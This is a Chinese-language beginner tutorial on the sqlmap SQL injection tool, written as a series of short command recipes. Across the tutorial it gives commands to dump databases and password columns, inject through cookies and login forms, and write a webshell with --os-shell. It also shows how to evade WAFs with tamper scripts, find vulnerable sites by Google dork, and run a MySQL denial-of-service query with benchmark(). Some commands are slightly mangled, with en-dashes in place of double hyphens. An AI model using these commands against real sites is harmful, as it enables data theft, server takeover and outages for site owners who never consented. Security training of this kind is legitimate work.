渗透测试工具sqlmap基础教程,从入门到精通
本文仅献给想学习渗透测试的sqlmap小白,大牛请绕过。
对于网络安全人员来说,掌握渗透工具的使用方法是一项必备的技能。然而,一个没有师傅带领的小白在刚开始学习时,并不知道该如何入手进行渗透学习,所以本文旨在帮助这些小白入门。
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。
既然本文是基础教程,以下只写工具的基本使用方法。
本教程为sqlmap具体应用案例,如需了解更多sqlmap资料可以访问官方http://sqlmap.org ,或者乌云知识库http://drops.wooyun.org/tips/401 和 http://drops.wooyun.org/tips/143 。
- MySQL数据库注入
检查注入点(主要看是否能返回消息):sqlmap.py -u url
爆所有库:sqlmap.py -u url -dbs
爆当前库:sqlmap.py -u url –current-db
2.Access数据库注入
判断是否是access数据库:url and exists(select id from MSysAccessObjects)
其他数据库判断语句:
Access: aNd aSc(cHr(97))=97
Access: and exists(select id from MSysAccessObjects)
SQL Server: and exists(select id from sysobjects)
SQL Server: and length(user)>0
MySQL: and length(user())>
access数据库没有库的概念,直接爆表sqlmap.py -u “url” –tables
爆列,爆字段,可以在日志里找到
- 指定数据库,操作系统
检查是否是注入点
爆库:sqlmap.py -u url –dbms mysql 5.0 –current-db
爆表:sqlmap.py -u url –dbms mysql 5.0 -D cms –tables
爆列:sqlmap.py -u url –dbms mysql 5.0 -D cms -T cms_user –columns
爆字段:sqlmap.py -u url –dbms mysql 5.0 -D cms -T cms_users -C password ,username –dump
- 请求延时注入
测试注入点:sqlmap.py -u url -p id
sqlmap注入方式techniquesqlmap.py -u url –technique T
B: 基于Boolean的盲注(Boolean based blind)
Q: 内联查询(inlin queries)
T: 基于时间的盲注(time based blind)
U: 联合查询(union query based)
E: 错误(error based)
S: 栈查询(stack queries)
猜数据库sqlmap.py -u url –technique T -time-sec 9 –current-db
其他参数:–delay,–safe-freq
5.常规伪静态注入
伪静态:主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。
加星花:sqlmap.py -u “url*.html” –dbs
利用sqlmap注入:sqlmap.py -u “url*.html” –current-db –hex
爆表:sqlmap.py -u “url*.html” -D “cms” –tables –hex
6.cookie注入
burpsuite获得cookie
sqlmap的cookie注入攻击:sqlmap.py -u url –cookie “uname=admin” –level 2
爆库,爆表,爆列,爆字段
7.POST登录框注入
burpsuite抓包右键保存到\Python2\sqlmap中
测试能否注入sqlmap.py -r 1.txt -p user(-r:让sqlmap加载post请求,-p:指定注入用的参数)
爆库 sqlmap.py -r 1.txt –current-db
自动搜索表单:sqlmap.py -u url –form
指定一个参数:sqlmap.py -u url –data “name=1&pass=1”
8.交互式写shell及命令执行
测试注入点:sqlmap.py -u url -p id
利用SQLmap写webshell:sqlmap.py -u url –os-shell 输入脚本语言,输入网站绝对路径
9.绕过WAF防火墙
利用tamper脚本绕过过滤: sqlmap.py -u url –dbs –batch –flush-session –tamper=equaltolike.py,space2comment.py,randomcase.py
10.sqlmap模板使用,编写
尝试注入 and 1=1被拦截
利用%0a尝试绕过,发现可以
编写tamper模板,利用sqlmap跑库(c:\python27\sqlmap\tamper)
利用sqlmap跑库sqlmap.py -u “url” –dbs –batch –tamper=equaltolike.py, space2mssqlhash.py, randomcase.py, space2hassh.py, base64encode.py, charencode.py
11.利用sqlmap来google搜索
查找页面:sqlmap.py -g inurl:php?id=
12.sqlmpa进行Mysql DOS攻击
获得shell:sqlmap.py -u url –sql-shell
进行攻击:select benchmark(9999999999,0*70726f63409284209)